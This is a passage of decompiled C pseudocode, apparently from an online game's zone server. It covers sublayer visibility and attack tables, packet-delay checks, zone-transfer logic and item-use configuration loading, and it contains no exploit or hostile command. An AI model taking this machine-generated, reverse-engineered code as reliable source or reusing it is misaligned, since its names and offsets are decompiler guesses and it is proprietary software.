[sp+1Ch] [bp-10904h]@1 int buf; // [sp+10870h] [bp-B0h]@1 int v23; // [sp+10874h] [bp-ACh]@1 int v24; // [sp+10878h] [bp-A8h]@1 int v25; // [sp+1087Ch] [bp-A4h]@1 char v26; // [sp+10880h] [bp-A0h]@1 char path[128]; // [sp+10890h] [bp-90h]@1 unsigned int v28; // [sp+10910h] [bp-10h]@1 int v29; // [sp+1091Ch] [bp-4h]@1 v28 = (unsigned int)&v18 ^ __security_cookie; OptionReader::OptionReader(&or); v2 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v3 = *(_DWORD *)&world->n4_name[8]; v23 = v2; v4 = *(_DWORD *)&world->n4_name[12]; v24 = v3; v29 = 0; v25 = v4; v26 = 0; sprintf(path, "../9Data/Hero/World/%s/SubLayerInteractLoader.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Hero/World/SubLayerInteract.txt"); BYTE3(v18) = OptionReader::or_Read(&or, path); v5 = OptionReader::or_ErrorLine(&or); if ( !BYTE3(v18) ) { AssertClass::ac_AssertFail(&shineassert, "SubLayerInteractLoader::slil_Load : Error in SubLayer Table", v5); ShineExit("SubLayer::SubLayerInteractLoader::slil_Load"); } } v6 = 0; me = 0; v7 = 0; while ( 1 ) { v17 = v6; v20 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "SendMyBrief", 0x14u); v8 = OptionReader::or_SelectFromOrder(&or, v12, v17); v17 = v6; v9 = v8; v20 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "CanAttack", 0x14u); v10 = OptionReader::or_SelectFromOrder(&or, v12, v17); if ( *(_BYTE *)v9 != *((_BYTE *)v9 + 27) || *(_BYTE *)v10 != *((_BYTE *)v10 + 27) ) { AssertClass::ac_AssertFail(&shineassert, "9Data/Hero/World/SubLayerInteractLoader.txt struct mismatch", 0); ShineExit("SubLayer::SubLayerInteractLoader::slil_Load"); } sublayerview[v7] = *((_BYTE *)v9 + 21); sublayerattack[v7] = *((_BYTE *)v10 + 21); byte_D3BA5CD[v7] = *((_BYTE *)v9 + 22); byte_D3BA5F5[v7] = *((_BYTE *)v10 + 22); byte_D3BA5CE[v7] = *((_BYTE *)v9 + 23); byte_D3BA5F6[v7] = *((_BYTE *)v10 + 23); byte_D3BA5CF[v7] = *((_BYTE *)v9 + 24); byte_D3BA5F7[v7] = *((_BYTE *)v10 + 24); byte_D3BA5D0[v7] = *((_BYTE *)v9 + 25); byte_D3BA5F8[v7] = *((_BYTE *)v10 + 25); byte_D3BA5D1[v7] = *((_BYTE *)v9 + 26); v11 = me; byte_D3BA5F9[v7] = *((_BYTE *)v10 + 26); v7 += 6; me = v11 + 1; if ( v7 >= 36 ) break; v6 = me; } v29 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&v18 ^ v28); } //----- (00487A90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanSee(int this, int flag) { char result; // al@2 if ( flag ) { result = *(&sublayerview[6 * *(_BYTE *)(*(_DWORD *)(this + 94) + 4)] + *(_BYTE *)(*(_DWORD *)(flag + 94) + 4)); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SubLayer_CanSee NULL Parameter", 0); result = 0; } return result; } //----- (00487AD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanAttack(void *this, int a2) { void *v2; // edi@1 int v3; // eax@2 v2 = this; if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)a2 + 1000))(a2, 347) ) LOBYTE(v3) = 0; else v3 = (unsigned __int8)*(&sublayerattack[6 * *(_BYTE *)(*(_DWORD *)((char *)v2 + 94) + 4)] + *(_BYTE *)(*(_DWORD *)(a2 + 94) + 4)); return v3; } //----- (00487B10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_PacketDelayCheckFunction(void *this) { void *v1; // edi@1 char *v2; // esi@1 char v3; // al@1 tm *v4; // eax@1 int v5; // eax@3 time_t curtime; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_PacketDelayCheckFunction"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PacketDelayCheckFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_PacketDelayCheckFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2111; v2[2] = 5 - *((_BYTE *)v1 + 143586); *(_DWORD *)(v2 + 3) = *(_DWORD *)((char *)v1 + 143578); *(_WORD *)(v2 + 7) = *((_WORD *)v1 + 71791); v3 = *((_BYTE *)v1 + 143584); v8 = 0; v2[9] = v3; curtime = time(0); v4 = localtime(&curtime); v2[10] = LOBYTE(v4->tm_hour); v2[11] = LOBYTE(v4->tm_min); v2[12] = LOBYTE(v4->tm_sec); *(_DWORD *)(v2 + 13) = clockwatch.cw_CurrTick; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 760))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_PacketDelayCheckFunction : Packet Too Long", 17); } --*((_WORD *)v1 + 71793); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PacketDelayCheckFunction"); } //----- (00487C50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_TIMERECORD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_TIMERECORD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_TIMERECORD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v4 + 143578) = *(_DWORD *)(netcmd + 2); *((_WORD *)v4 + 71791) = *(_WORD *)(netcmd + 6); *((_BYTE *)v4 + 143584) = *(_BYTE *)(netcmd + 8); *((_WORD *)v4 + 71793) = 5; ShineObjectClass::ShinePlayer::sp_PacketDelayCheckFunction(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_TIMERECORD_REQ"); } //----- (00487D10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_LinkTo(void *pCaster, int lnkinf, __int16 machine, int cmd_sameserver, int cmd_otherserver) { int v5; // ebp@1 signed int v6; // edi@1 int v7; // eax@1 int v8; // ebx@1 RollBackPosCallBackEvent *v9; // esi@1 void *v10; // esi@9 int v11; // eax@10 int v13; // ST18_4@17 unsigned int v14; // ST14_4@17 char *v15; // eax@17 int v16; // eax@17 int v17; // eax@22 int v18; // edx@22 int v19; // edi@22 char *v20; // esi@22 int v21; // eax@22 ZoneBaseSession *v22; // eax@24 int v23; // esi@25 int v24; // esi@31 int v25; // ecx@34 int v26; // eax@34 int v27; // edx@34 char *v28; // esi@35 int v29; // eax@35 char v30; // al@35 int v31; // eax@36 char *v32; // esi@38 Name4 *v33; // edi@38 char v34; // al@39 ZoneBaseSession *v35; // eax@40 FunctionEntarance _; // [sp+2Ch] [bp-28h]@1 int v37; // [sp+30h] [bp-24h]@22 int oldxy; // [sp+34h] [bp-20h]@22 int v39; // [sp+38h] [bp-1Ch]@22 char this; // [sp+3Ch] [bp-18h]@31 int v41; // [sp+50h] [bp-4h]@1 int lnkinfa; // [sp+58h] [bp+4h]@17 v5 = (int)pCaster; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_LinkTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_LinkTo"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v41 = 0; v7 = ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(v5); v8 = lnkinf; v9 = (RollBackPosCallBackEvent *)v7; if ( v7 && (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 8))(v7) == 1 ) { memcpy((void *)lnkinf, RollBackPosCallBackEvent::GetLinkData(v9), 0x65u); ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(v5, 0); v6 = -1; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1152))(v5) == 4 ) (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1156))(v5); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1152))(v5) != 1 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 1152))(v5) != 2 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 1152))(v5) != 6 ) goto LABEL_19; v10 = *(void **)(v5 + 68579); if ( v10 ) { v11 = *(_DWORD *)(v5 + 98); if ( v11 && *(_BYTE *)(*(_DWORD *)(v11 + 12) + 54) == 3 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 804))(v5) ) { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v5 + 1016))(v5, lnkinf, 0); } else { ShineObjectClass::ShineObject::so_CloseTradeMenu((void *)v5); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 772))(v5, 19, 11); ShineObjectClass::ShineObject::so_CloseTradeMenu(v10); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v10 + 772))(v10, 19, 12); (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v5 + 1016))(v5, lnkinf, 0); } } goto LABEL_19; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v5 + 57880) + 20))(v5 + 57880) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : Link during item operation", 0); --funcallanalizer.fca_stackpoint; v41 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); return 0; } v13 = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; v14 = BTree::operator__(&fieldserial, (const char *)(lnkinf + 20)); v15 = ZoneServer::zs_GetServerGroup(&zoneserver); v16 = FieldOption::fo_GetMechineNumber(&fieldlist.fc_FieldOption, v15, v14, v13); lnkinfa = v16; if ( v16 == v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : machine number", v16); LABEL_19: --funcallanalizer.fca_stackpoint; v41 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); return 0; } if ( v16 == 99 ) lnkinfa = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; ZoneServer::zs_GetServerGroup(&zoneserver); v17 = *(_DWORD *)(v5 + 78); v18 = *(_DWORD *)(v17 + 4); v19 = *(_DWORD *)(v5 + 98); v20 = gpp.pp_Buffer; oldxy = *(_DWORD *)v17; *(_WORD *)gpp.pp_Buffer = 6155; v21 = *(_DWORD *)v5; v37 = v19; v39 = v18; *((_WORD *)v20 + 1) = (*(int (__thiscall **)(int))(v21 + 832))(v5); *((_DWORD *)v20 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v22); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 8); } v23 = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1232))(v5) >= 0x64u ) (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v5 + 2660))(v5, "LinkTo"); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v5 + 2772))(v5, 2); if ( lnkinfa == v23 ) { if ( cmd_sameserver == 79 ) (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 828))(v5, 3, 1, 2); else (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v5 + 828))(v5, 0, 1, 2); Name3::Name3((Name3 *)&this, (const char *)(v8 + 20)); v24 = v5 + 32229; if ( Name3::operator__((Name3 *)(v5 + 32229), (Name3 *)&this) ) { (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 2900))( v5, *(_DWORD *)v24, *(_DWORD *)(v5 + 32233), *(_DWORD *)(v5 + 32237)); v19 = v37; } Name3::operator_((Name3 *)(v5 + 32229), (const char *)(v8 + 20)); **(_DWORD **)(v5 + 78) = *(_DWORD *)(v8 + 86); *(_DWORD *)(*(_DWORD *)(v5 + 78) + 4) = *(_DWORD *)(v8 + 90); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1212))(v5); **(_BYTE **)(v5 + 3568) = 0; if ( ShineObjectClass::ShineObject::so_MapMarking(v5, 0) ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v5 + 1520))(v5, 1669, 0, 0); *(_DWORD *)(v5 + 98) = v19; *(_DWORD *)v24 = *(_DWORD *)v19; *(_DWORD *)(v5 + 32233) = *(_DWORD *)(v19 + 4); v25 = oldxy; *(_DWORD *)(v5 + 32237) = *(_DWORD *)(v19 + 8); v26 = *(_DWORD *)(v5 + 78); v27 = v39; *(_DWORD *)v26 = v25; *(_DWORD *)(v26 + 4) = v27; (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1212))(v5); v41 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v28 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = (machine << 10) ^ cmd_sameserver & 0x3FF; *((_WORD *)v28 + 1) = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)(v8 + 53)); v29 = *(_DWORD *)(v5 + 78); *((_DWORD *)v28 + 1) = *(_DWORD *)v29; *((_DWORD *)v28 + 2) = *(_DWORD *)(v29 + 4); v30 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v30, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 12) ) { v31 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v31 + 12))(v31, v5, &gpp); } CharaterSkillList::csl_Toggle_AllOff((CharaterSkillList *)(v5 + 68496), (#593 *)v5); *(_DWORD *)(v5 + 31908) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; v41 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { WholeSaver::ws_save2DB(&wholesaver, (#593 *)v5, 0, 2); WholeSaver::ws_save2worldmanager(&wholesaver, (#734 *)v5); **(_BYTE **)(v5 + 3568) = 0; v32 = gpp.pp_Buffer; v33 = (Name4 *)(gpp.pp_Buffer + 41); if ( ZoneIPContainer::zipc_Mechine2IP( &zipc, lnkinfa, (Name4 *)(gpp.pp_Buffer + 41), (unsigned __int16 *)(gpp.pp_Buffer + 57)) ) { NameString::operator__(&namestring, v33); *(_WORD *)v32 = 6157; *((_DWORD *)v32 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v32 + 1) = *(_WORD *)(v5 + 4); *((_WORD *)v32 + 4) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 832))(v5); v32[10] = lnkinfa; Name3::operator_((Name3 *)(v32 + 11), (const char *)(v8 + 20)); *(_DWORD *)(v32 + 23) = *(_DWORD *)(v8 + 86); *(_DWORD *)(v32 + 27) = *(_DWORD *)(v8 + 90); *(_WORD *)(v32 + 31) = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)(v8 + 53)); *(_DWORD *)(v32 + 33) = *(_DWORD *)(v8 + 86); *(_DWORD *)(v32 + 37) = *(_DWORD *)(v8 + 90); *(_WORD *)(v32 + 59) = *(_WORD *)(v5 + 139616); v32[61] = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2732))(v5); v34 = ProtocolPacket::pp_SetPacketLen(&gpp, 62); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v34, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 62) ) { v35 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v35); } } *(_BYTE *)(v5 + 23352) |= 2u; CharaterSkillList::csl_Toggle_AllOff((CharaterSkillList *)(v5 + 68496), (#593 *)v5); --funcallanalizer.fca_stackpoint; v41 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); } return 1; } // 457320: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); // 6B64E0: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int itm); //----- (00488340) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_REVIVEOTHER_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_WORD *)(this + 8) = *(_WORD *)(a2 + 8); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_WORD *)(this + 26) = *(_WORD *)(a2 + 26); *(_WORD *)(this + 28) = *(_WORD *)(a2 + 28); *(_BYTE *)(this + 30) = *(_BYTE *)(a2 + 30); return result; } //----- (004883A0) -------------------------------------------------------- #error "4883A0: undefined or illegal type '#593' (funcsize=116)" //----- (00488530) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanItemMakeItem(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@2 int v5; // edx@4 int v6; // eax@4 int *uii; // [sp+4h] [bp-28h]@4 int v9; // [sp+8h] [bp-24h]@4 int v10; // [sp+Ch] [bp-20h]@4 int ibie; // [sp+10h] [bp-1Ch]@1 char *v12; // [sp+14h] [bp-18h]@1 int v13; // [sp+1Ch] [bp-10h]@4 int v14; // [sp+28h] [bp-4h]@4 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1172))(); v3 = (int)((char *)v1 + 35680); ibie = (int)&ItemBoxIterator::_vftable_; v12 = (char *)v1 + 35680; if ( v2 ) v4 = (*(int (__stdcall **)(int))(*(_DWORD *)v3 + 4))(v2); else v4 = (*(int (**)(void))(*(_DWORD *)v3 + 8))(); v13 = v4; ibie = (int)&ItemBoxIterEmpty::_vftable_; v5 = *(_DWORD *)v1; v14 = 0; v6 = (*(int (__thiscall **)(void *))(v5 + 2004))(v1); uii = &ibie; v9 = v6; v10 = 9; return InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) != 0 ? 1792 : 1821; } // 63677C: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (004885D0) -------------------------------------------------------- void __thiscall ItemUseFunction::iuf_Load(ItemUseFunction *this) { char v1; // bl@1 int v2; // eax@1 int v3; // eax@4 int v4; // edi@4 int v5; // eax@4 void *v6; // eax@5 void *v7; // edi@5 unsigned int v8; // eax@5 signed int v9; // ebp@5 int v10; // edi@10 int v11; // eax@10 int v12; // ecx@10 int v13; // edx@10 UseEffect::UseItemBase *v14; // ebx@20 char *v15; // eax@57 SkillDataBox::SkillDataIndex *v16; // eax@59 ORToken v17; // [sp-18h] [bp-10A48h]@5 ORToken v18; // [sp-14h] [bp-10A44h]@4 int v19; // [sp-10h] [bp-10A40h]@4 int v20; // [sp-Ch] [bp-10A3Ch]@4 int v21; // [sp-8h] [bp-10A38h]@4 int v22; // [sp-4h] [bp-10A34h]@4 ORToken *item; // [sp+10h] [bp-10A20h]@1 signed int fnc; // [sp+14h] [bp-10A1Ch]@4 int k; // [sp+18h] [bp-10A18h]@4 char *skill; // [sp+1Ch] [bp-10A14h]@10 int _; // [sp+20h] [bp-10A10h]@10 int v28; // [sp+24h] [bp-10A0Ch]@10 int v29; // [sp+28h] [bp-10A08h]@10 int v30; // [sp+2Ch] [bp-10A04h]@10 int v31; // [sp+30h] [bp-10A00h]@10 char StatClearStat[4]; // [sp+34h] [bp-109FCh]@4 int v33; // [sp+38h] [bp-109F8h]@4 int v34; // [sp+3Ch] [bp-109F4h]@4 int v35; // [sp+40h] [bp-109F0h]@4 int v36; // [sp+44h] [bp-109ECh]@4 char Dash[4]; // [sp+48h] [bp-109E8h]@4 int v38; // [sp+4Ch] [bp-109E4h]@4 int v39; // [sp+50h] [bp-109E0h]@4 int v40; // [sp+54h] [bp-109DCh]@4 int v41; // [sp+58h] [bp-109D8h]@4 char StatClearEmpow[4]; // [sp+5Ch] [bp-109D4h]@4 int v43; // [sp+60h] [bp-109D0h]@4 int v44; // [sp+64h] [bp-109CCh]@4 int v45; // [sp+68h] [bp-109C8h]@4 int v46; // [sp+6Ch] [bp-109C4h]@4 char UseSilverWings[4]; // [sp+70h] [bp-109C0h]@4 int v48; // [sp+74h] [bp-109BCh]@4 int v49; // [sp+78h] [bp-109B8h]@4 int v50; // [sp+7Ch] [bp-109B4h]@4 int v51; // [sp+80h] [bp-109B0h]@4 char LicenceClear[4]; // [sp+84h] [bp-109ACh]@4 int v53; // [sp+88h] [bp-109A8h]@4 int v54; // [sp+8Ch] [bp-109A4h]@4 int v55; // [sp+90h] [bp-109A0h]@4 int v56; // [sp+94h] [bp-1099Ch]@4 char AmountHP[4]; // [sp+98h] [bp-10998h]@4 int v58; // [sp+9Ch] [bp-10994h]@4 int v59; // [sp+A0h] [bp-10990h]@4 int v60; // [sp+A4h] [bp-1098Ch]@4 int v61; // [sp+A8h] [bp-10988h]@4 char NoEffect[4]; // [sp+ACh] [bp-10984h]@4 int v63; // [sp+B0h] [bp-10980h]@4 int v64; // [sp+B4h] [bp-1097Ch]@4 int v65; // [sp+B8h] [bp-10978h]@4 int v66; // [sp+BCh] [bp-10974h]@4 char Propose[4]; // [sp+C0h] [bp-10970h]@4 int v68; // [sp+C4h] [bp-1096Ch]@4 int v69; // [sp+C8h] [bp-10968h]@4 int v70; // [sp+CCh] [bp-10964h]@4 int v71; // [sp+D0h] [bp-10960h]@4 char AmountHPMP[4]; // [sp+D4h] [bp-1095Ch]@4 int v73; // [sp+D8h] [bp-10958h]@4 int v74; // [sp+DCh] [bp-10954h]@4 int v75; // [sp+E0h] [bp-10950h]@4 int v76; // [sp+E4h] [bp-1094Ch]@4 char Fire[4]; // [sp+E8h] [bp-10948h]@4 int v78; // [sp+ECh] [bp-10944h]@4 int v79; // [sp+F0h] [bp-10940h]@4 int v80; // [sp+F4h] [bp-1093Ch]@4 int v81; // [sp+F8h] [bp-10938h]@4 char BossMobDetect[4]; // [sp+FCh] [bp-10934h]@4 int v83; // [sp+100h] [bp-10930h]@4 int v84; // [sp+104h] [bp-1092Ch]@4 int v85; // [sp+108h] [bp-10928h]@4 int v86; // [sp+10Ch] [bp-10924h]@4 char IM_Divorce[4]; // [sp+110h] [bp-10920h]@4 int v88; // [sp+114h] [bp-1091Ch]@4 int v89; // [sp+118h] [bp-10918h]@4 int v90; // [sp+11Ch] [bp-10914h]@4 int v91; // [sp+120h] [bp-10910h]@4 char MemoryFeather[4]; // [sp+124h] [bp-1090Ch]@4 int v93; // [sp+128h] [bp-10908h]@4 int v94; // [sp+12Ch] [bp-10904h]@4 int v95; // [sp+130h] [bp-10900h]@4 int v96; // [sp+134h] [bp-108FCh]@4 char AmountMP[4]; // [sp+138h] [bp-108F8h]@4 int v98; // [sp+13Ch] [bp-108F4h]@4 int v99; // [sp+140h] [bp-108F0h]@4 int v100; // [sp+144h] [bp-108ECh]@4 int v101; // [sp+148h] [bp-108E8h]@4 OptionReader or; // [sp+14Ch] [bp-108E4h]@1 char buf[128]; // [sp+109A0h] [bp-90h]@57 unsigned int v104; // [sp+10A20h] [bp-10h]@1 int v105; // [sp+10A2Ch] [bp-4h]@1 v104 = (unsigned int)&item ^ __security_cookie; OptionReader::OptionReader(&or); v105 = 0; v1 = OptionReader::or_Read(&or, "../9Data/Hero/World/ItemUseFunction.txt"); v2 = OptionReader::or_ErrorLine(&or); if ( !v1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemUseFunction::iuf_Load : Option read error", v2); ShineExit("ItemUseFunction::iuf_Load"); } fnc = (signed int)&v18; v22 = 0; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)&v18.ort_Name[0] = 0; strncpy(v18.ort_Name, "ItemUseFunction", 0x14u); v3 = OptionReader::or_SelectCountFrom(&or, v18); v4 = v3; fnc = v3; v41 = 0; v40 = 0; v39 = 0; v38 = 0; *(_DWORD *)Dash = 0; strncpy(Dash, "-", 0x14u); v51 = 0; v50 = 0; v49 = 0; v48 = 0; *(_DWORD *)UseSilverWings = 0; strncpy(UseSilverWings, "UseSilverWings", 0x14u); v36 = 0; v35 = 0; v34 = 0; v33 = 0; *(_DWORD *)StatClearStat = 0; strncpy(StatClearStat, "StatClearStat", 0x14u); v46 = 0; v45 = 0; v44 = 0; v43 = 0; *(_DWORD *)StatClearEmpow = 0; strncpy(StatClearEmpow, "StatClearEmpow", 0x14u); v56 = 0; v55 = 0; v54 = 0; v53 = 0; *(_DWORD *)LicenceClear = 0; strncpy(LicenceClear, "LicenceClear", 0x14u); v61 = 0; v60 = 0; v59 = 0; v58 = 0; *(_DWORD *)AmountHP = 0; strncpy(AmountHP, "AmountHP", 0x14u); v101 = 0; v100 = 0; v99 = 0; v98 = 0; *(_DWORD *)AmountMP = 0; strncpy(AmountMP, "AmountMP", 0x14u); v76 = 0; v75 = 0; v74 = 0; v73 = 0; *(_DWORD *)AmountHPMP = 0; strncpy(AmountHPMP, "AmountHPMP", 0x14u); v96 = 0; v95 = 0; v94 = 0; v93 = 0; *(_DWORD *)MemoryFeather = 0; strncpy(MemoryFeather, "MemoryFeather", 0x14u); v86 = 0; v85 = 0; v84 = 0; v83 = 0; *(_DWORD *)BossMobDetect = 0; strncpy(BossMobDetect, "BossMobDetect", 0x14u); v66 = 0; v65 = 0; v64 = 0; v63 = 0; *(_DWORD *)NoEffect = 0; strncpy(NoEffect, "NoEffect", 0x14u); v71 = 0; v70 = 0; v69 = 0; v68 = 0; *(_DWORD *)Propose = 0; strncpy(Propose, "Propose", 0x14u); v81 = 0; v80 = 0; v79 = 0; v78 = 0; *(_DWORD *)Fire = 0; strncpy(Fire, "Fire", 0x14u); v91 = 0; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)IM_Divorce = 0; strncpy(IM_Divorce, "IM_Divorce", 0x14u); v5 = 0; k = 0; if ( v4 > 0 ) { do { v22 = v5; item = &v17; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)&v18.ort_Name[0] = 0; *(_DWORD *)&v17.ort_Name[0] = 0; strncpy(v17.ort_Name, "ItemUseFunction", 0x14u); v6 = OptionReader::or_SelectFromOrder(&or, v17, v22); v7 = v6; v8 = BTree::operator__(&stru_131DE8B8, (const char *)v6); v9 = 65535; if ( v8 != -1 ) v9 = v8; item = (ORToken *)v9; if ( (_WORD)v9 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemUseFunction::iuf_Load : Invalid Item", (const char *)v7); ShineExit("ItemUseFunction::iuf_Load"); } v22 = *((_BYTE *)v7 + 33); UseEffect::UsedItemEffect::uie_BroadCast(&useditemeffect, v9, v22); v10 = (int)((char *)v7 + 34); v11 = *(_DWORD *)v10; v12 = *(_DWORD *)(v10 + 4); v29 = *(_DWORD *)(v10 + 8); v13 = *(_DWORD *)(v10 + 12); v31 = *(_DWORD *)(v10 + 16); skill = "UseSkill"; _ = v11; v28 = v12; v30 = v13; if ( v11 != *(_DWORD *)Dash || v12 != v38 || v29 != v39 || v13 != v40 || v31 != v41 ) { if ( v11 != *(_DWORD *)UseSilverWings || v12 != v48 || v29 != v49 || v13 != v50 || v31 != v51 ) { if ( v11 != *(_DWORD *)StatClearStat || v12 != v33 || v29 != v34 || v13 != v35 || v31 != v36 ) { if ( v11 != *(_DWORD *)StatClearEmpow || v12 != v43 || v29 != v44 || v13 != v45 || v31 != v46 ) { if ( v11 != *(_DWORD *)LicenceClear || v12 != v53 || v29 != v54 || v13 != v55 || v31 != v56 ) { if ( 